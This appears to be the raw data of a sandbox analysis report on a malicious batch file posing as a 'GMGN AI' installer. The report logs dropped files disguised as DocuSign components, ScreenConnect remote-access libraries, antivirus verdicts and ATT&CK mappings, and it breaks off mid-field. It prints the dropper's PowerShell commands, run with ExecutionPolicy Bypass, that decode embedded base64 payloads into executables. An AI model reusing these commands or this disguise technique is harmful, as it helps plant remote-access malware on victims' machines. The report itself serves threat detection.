"C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\es\DocuSign.BootstrapperApplication.resources.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "SecondInstaller.exe" wrote 3310 bytes starting with PE header signature to file "C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\fr\DocuSign.BootstrapperApplication.resources.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "SecondInstaller.exe" wrote 25326 bytes starting with PE header signature to file "C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\it\DocuSign.BootstrapperApplication.resources.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "SecondInstaller.exe" wrote 942 bytes starting with PE header signature to file "C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\ja\DocuSign.BootstrapperApplication.resources.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "SecondInstaller.exe" wrote 10670 bytes starting with PE header signature to file "C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\ko\DocuSign.BootstrapperApplication.resources.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "SecondInstaller.exe" wrote 21934 bytes starting with PE header signature to file "C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\nl\DocuSign.BootstrapperApplication.resources.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "SecondInstaller.exe" wrote 11694 bytes starting with PE header signature to file "C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\pt\DocuSign.BootstrapperApplication.resources.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "SecondInstaller.exe" wrote 22446 bytes starting with PE header signature to file "C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\pt-br\DocuSign.BootstrapperApplication.resources.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "SecondInstaller.exe" wrote 25662 bytes starting with PE header signature to file "C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\ru\DocuSign.BootstrapperApplication.resources.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "SecondInstaller.exe" wrote 2622 bytes starting with PE header signature to file "C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\zh-hans\DocuSign.BootstrapperApplication.resources.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "SecondInstaller.exe" wrote 14398 bytes starting with PE header signature to file "C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\zh-hant\DocuSign.BootstrapperApplication.resources.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "SecondInstaller.exe" wrote 4096 bytes starting with PE header signature to file "C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.be\Docusign Print Driver x64.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "rundll32.exe" wrote 10240 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\MSIE844.tmp-\DocuSign.Installer.CustomActions.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "rundll32.exe" wrote 22528 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\MSIE844.tmp-\Microsoft.Deployment.WindowsInstaller.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...7b:T5f4,Found HTTP requests "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSRXerF0eFeSWRripTgTkcJWMm7iQQUaDfg67Y7%2BF8Rhvv%2BYXsIiGX0TkICEA9Q9p6J9XjJSOVRkr5zxqQ%3D HTTP/1.1" in memory - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found HTTP requests "GET /DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl HTTP/1.1" in memory - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found HTTP requests "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTNMNJMNDqCqx8FcBWK16EHdimS6QQUU3m%2FWqorSs9UgOHYm8Cd8rIDZssCEDbCsL18Gzrno7PdNsvJdWg%3D HTTP/1.1" in memory - Source: "00000000-00007000.00000001.219402.07520000.00000004.mdmp") Found HTTP requests "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQF52yCFhiPtYYN0UQG0Zo%2BTDManQQU9ndq3T%2F9ARP%2FFqFsggIv0Ao9FCUCEHojrtpTaZYPkcg%2BXPTH4z8%3D HTTP/1.1" in memory - Source: "00000000-00007000.00000001.219402.07520000.00000004.mdmp") Found HTTP requests "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSRXerF0eFeSWRripTgTkcJWMm7iQQUaDfg67Y7%2BF8Rhvv%2BYXsIiGX0TkICEA9Q9p6J9XjJSOVRkr5zxqQ%3D HTTP/1.1" in memory - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found HTTP requests "GET /DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl HTTP/1.1" in memory - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found HTTP requests "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQF52yCFhiPtYYN0UQG0Zo%2BTDManQQU9ndq3T%2F9ARP%2FFqFsggIv0Ao9FCUCEHojrtpTaZYPkcg%2BXPTH4z8%3D HTTP/1.1" in memory - Source: "00000000-00007000.00000002.221320.07520000.00000004.mdmp")7c:T456,"cmd.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\SC_FeedbackTool-install.log" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_iulw3s4j.zl2.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_ybg1iizh.fbb.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_lx2kkz1u.4hw.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_0rkn2u2x.vdx.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_fx4mjibc.1z2.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_vemvf40a.vqq.psm1" with delete access "msiexec.exe" opened "Z:\MSI36367.tmp" with delete access "Docusign Print Driver x64.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\MSIE844.tmp" with delete access "Docusign Print Driver x64.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\MSI5691.tmp" with delete access7d:Te92,File type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections" was dropped at "%WINDIR%\Installer\MSI646E.tmp-\ScreenConnect.Windows.dll" File type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections" was dropped at "%WINDIR%\Temp\{768A3F2B-CA05-49E6-9E81-BF3FFA4377AB}\.cr\SecondInstaller.exe" File type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections" was dropped at "%WINDIR%\Installer\MSI646E.tmp-\ScreenConnect.Core.dll" File type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections" was dropped at "%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\DocuSign.BootstrapperApplication.dll" File type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections" was dropped at "%WINDIR%\Installer\MSI646E.tmp-\Microsoft.Deployment.WindowsInstaller.dll" File type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections" was dropped at "%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\it\DocuSign.BootstrapperApplication.resources.dll" File type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections" was dropped at "%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\ko\DocuSign.BootstrapperApplication.resources.dll" File type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections" was dropped at "%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\zh-hans\DocuSign.BootstrapperApplication.resources.dll" File type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections" was dropped at "%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\fr\DocuSign.BootstrapperApplication.resources.dll" File type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections" was dropped at "%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\es\DocuSign.BootstrapperApplication.resources.dll" File type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections" was dropped at "%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\nl\DocuSign.BootstrapperApplication.resources.dll" File type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections" was dropped at "%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\zh-hant\DocuSign.BootstrapperApplication.resources.dll" File type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections" was dropped at "%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\mbahost.dll" File type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections" was dropped at "%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\BootstrapperCore.dll" File type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections" was dropped at "%WINDIR%\Installer\MSI646E.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll" File type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections" was dropped at "%WINDIR%\Installer\MSI646E.tmp-\Microsoft.Deployment.Compression.Cab.dll" File type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections" was dropped at "%WINDIR%\Installer\MSI646E.tmp-\Microsoft.Deployment.Compression.dll" File type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections" was dropped at "%WINDIR%\Installer\MSI646E.tmp-\ScreenConnect.InstallerActions.dll" File type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections" was dropped at "%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.be\Docusign Print Driver x64.exe"7e:T58d,Process "powershell.exe" with commandline "-NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\\s*(.*?)\\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))"" (UID: 00000000-00006420), Process "powershell.exe" with commandline "-NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\\s*(.*?)\\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))"" (UID: 00000000-00007528), Process "powershell.exe" with commandline "-NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$m=Join-Path -Path $env:TD -ChildPath 'SC_FeedbackTool.msi'; $e=Join-Path -Path $env:TD -ChildPath 'SecondInstaller.exe'; if((Get-FileHash -Algorithm SHA256 -LiteralPath $m).Hash -ne 'C8F361433837AFE3CEB00D300E3B922FE5DD56365DADE70E3187031166D8676E'){exit 2}; if((Get-FileHash -Algorithm SHA256 -LiteralPath $e).Hash -ne '7AD243CD358D916E029BA8FF9A616DFDCAB29B594A9EBF08A66A1C4BD63FB7E2'){exit 3}"" (UID: 00000000-00002772)7f:T838,Spawned process "cmd.exe" with commandline "/c ""C:\\GMGN_AI-Installer-Winx86-Setup-v1.0.0.bat" "" (UID: 00000000-00004720) Spawned process "fltMC.exe" (UID: 00000000-00001336) Spawned process "powershell.exe" with commandline "-NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\\s*(.*?)\\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))"" (UID: 00000000-00006420), Spawned process "powershell.exe" with commandline "-NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\\s*(.*?)\\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))"" (UID: 00000000-00007528), Spawned process "powershell.exe" with commandline "-NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$m=Join-Path -Path $env:TD -ChildPath 'SC_FeedbackTool.msi'; $e=Join-Path -Path $env:TD -ChildPath 'SecondInstaller.exe'; if((Get-FileHash -Algorithm SHA256 -LiteralPath $m).Hash -ne 'C8F361433837AFE3CEB00D300E3B922FE5DD56365DADE70E3187031166D8676E'){exit 2}; if((Get-FileHash -Algorithm SHA256 -LiteralPath $e).Hash -ne '7AD243CD358D916E029BA8FF9A616DFDCAB29B594A9EBF08A66A1C4BD63FB7E2'){exit 3}"" (UID: 00000000-00002772) Spawned process "SecondInstaller.exe" (UID: 00000000-00007120) Spawned process "SecondInstaller.exe" with commandline "-burn.clean.room="%TEMP%\\SC_FeedbackTool_107829898\\SecondInstaller.exe" -burn.filehandle.attached=652 -burn.filehandle.self=648" (UID: 00000000-00007008) Spawned process "Docusign Print Driver x64.exe" with commandline "-q -burn.elevated BurnPipe.{C57982AE-9F6C-42F6-A344-005FF1425F55} {79BFC329-9435-43CE-988B-3DE45A84606E} 7008" (UID: 00000000-00007000)30:["$","$Lc",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$33"}}],["$","$L35",null,{"initialData":{"schema_version":"1.0.17","sha256":"ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1793987043770,"unified_at":"2026-11-06T17:44:03.770Z","metadata":{"hashes":{"sha256":"ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","sha1":"1899f45c817bf5699b08af5449c8ae4403aee09f","md5":"664cec99845666ad63eabba413e92d41","sha512":"4445f5df726acd947297f189f1169e6246471ed50000a969456458f7415a8724b17988643d0c1b489b73bc8764a2d0457b734e5a069838c27878b868ba417059","ssdeep":"49152:TWpsS4Fe/lrTJAAsVIa95v35tHodA50LKB0e4J8eKzXKulM8MleKwVGcKBv/iNyL:2","ssdeep_chunks":["49152:TWpsS4F","49152:WpsS4Fe","49152:psS4Fe/","49152:sS4Fe/l","49152:S4Fe/lr","49152:4Fe/lrT","49152:Fe/lrTJ","49152:e/lrTJA","49152:/lrTJAA","49152:lrTJAAs","49152:rTJAAsV","49152:TJAAsVI","49152:JAAsVIa","49152:AAsVIa9","49152:AsVIa95","49152:sVIa95v","49152:VIa95v3","49152:Ia95v35","49152:a95v35t","49152:95v35tH","49152:5v35tHo","49152:v35tHod","49152:35tHodA","49152:5tHodA5","49152:tHodA50","49152:HodA50L","49152:odA50LK","49152:dA50LKB","49152:A50LKB0","49152:50LKB0e","49152:0LKB0e4","49152:LKB0e4J","49152:KB0e4J8","49152:B0e4J8e","49152:0e4J8eK","49152:e4J8eKz","49152:4J8eKzX","49152:J8eKzXK","49152:8eKzXKu","49152:eKzXKul","49152:KzXKulM","49152:zXKulM8","49152:XKulM8M","49152:KulM8Ml","49152:ulM8Mle","49152:lM8MleK","49152:M8MleKw","49152:8MleKwV","49152:MleKwVG","49152:leKwVGc","49152:eKwVGcK","49152:KwVGcKB","49152:wVGcKBv","49152:VGcKBv/","49152:GcKBv/i","49152:cKBv/iN","49152:KBv/iNy","49152:Bv/iNyL","98304:TWpsS4F","98304:WpsS4Fe","98304:psS4Fe/","98304:sS4Fe/l","98304:S4Fe/lr","98304:4Fe/lrT","98304:Fe/lrTJ","98304:e/lrTJA","98304:/lrTJAA","98304:lrTJAAs","98304:rTJAAsV","98304:TJAAsVI","98304:JAAsVIa","98304:AAsVIa9","98304:AsVIa95","98304:sVIa95v","98304:VIa95v3","98304:Ia95v35","98304:a95v35t","98304:95v35tH","98304:5v35tHo","98304:v35tHod","98304:35tHodA","98304:5tHodA5","98304:tHodA50","98304:HodA50L","98304:odA50LK","98304:dA50LKB","98304:A50LKB0","98304:50LKB0e","98304:0LKB0e4","98304:LKB0e4J","98304:KB0e4J8","98304:B0e4J8e","98304:0e4J8eK","98304:e4J8eKz","98304:4J8eKzX","98304:J8eKzXK","98304:8eKzXKu","98304:eKzXKul","98304:KzXKulM","98304:zXKulM8","98304:XKulM8M","98304:KulM8Ml","98304:ulM8Mle","98304:lM8MleK","98304:M8MleKw","98304:8MleKwV","98304:MleKwVG","98304:leKwVGc","98304:eKwVGcK","98304:KwVGcKB","98304:wVGcKBv","98304:VGcKBv/","98304:GcKBv/i","98304:cKBv/iN","98304:KBv/iNy","98304:Bv/iNyL"],"imphash":"Unknown"},"file_info":{"file_name":"GMGN_AI-Installer-Winx86-Setup-v1.0.0.bat","file_type":["script","bat"],"file_type_id":"bat","file_size":12054358,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1793986419000,"last_seen":1793986419000,"last_multi_scan":1793986419000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["evasive"]},"stats":{"av":{"malicious_count":2,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":101},"sandbox_signatures":{"informative_count":259,"suspicious_count":11,"malicious_count":6,"total":276},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"BAT/TrojanDropper.Agent.OOF trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"BAT/Agent.BTH","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"BAT/TrojanDropper.Agent","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Contains reference to Mail transfer protocol"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Contains ability to retrieve files based on search patterns"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Able to access file/directory"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Stealth","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains key cryptographic functions (API string)"},{"type":"informative","value":"YARA signature match - RSA algorithm (keys)"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match – high entropy image embedded in .NET resource"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"suspicious","value":"Spawned process connects to a network"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts 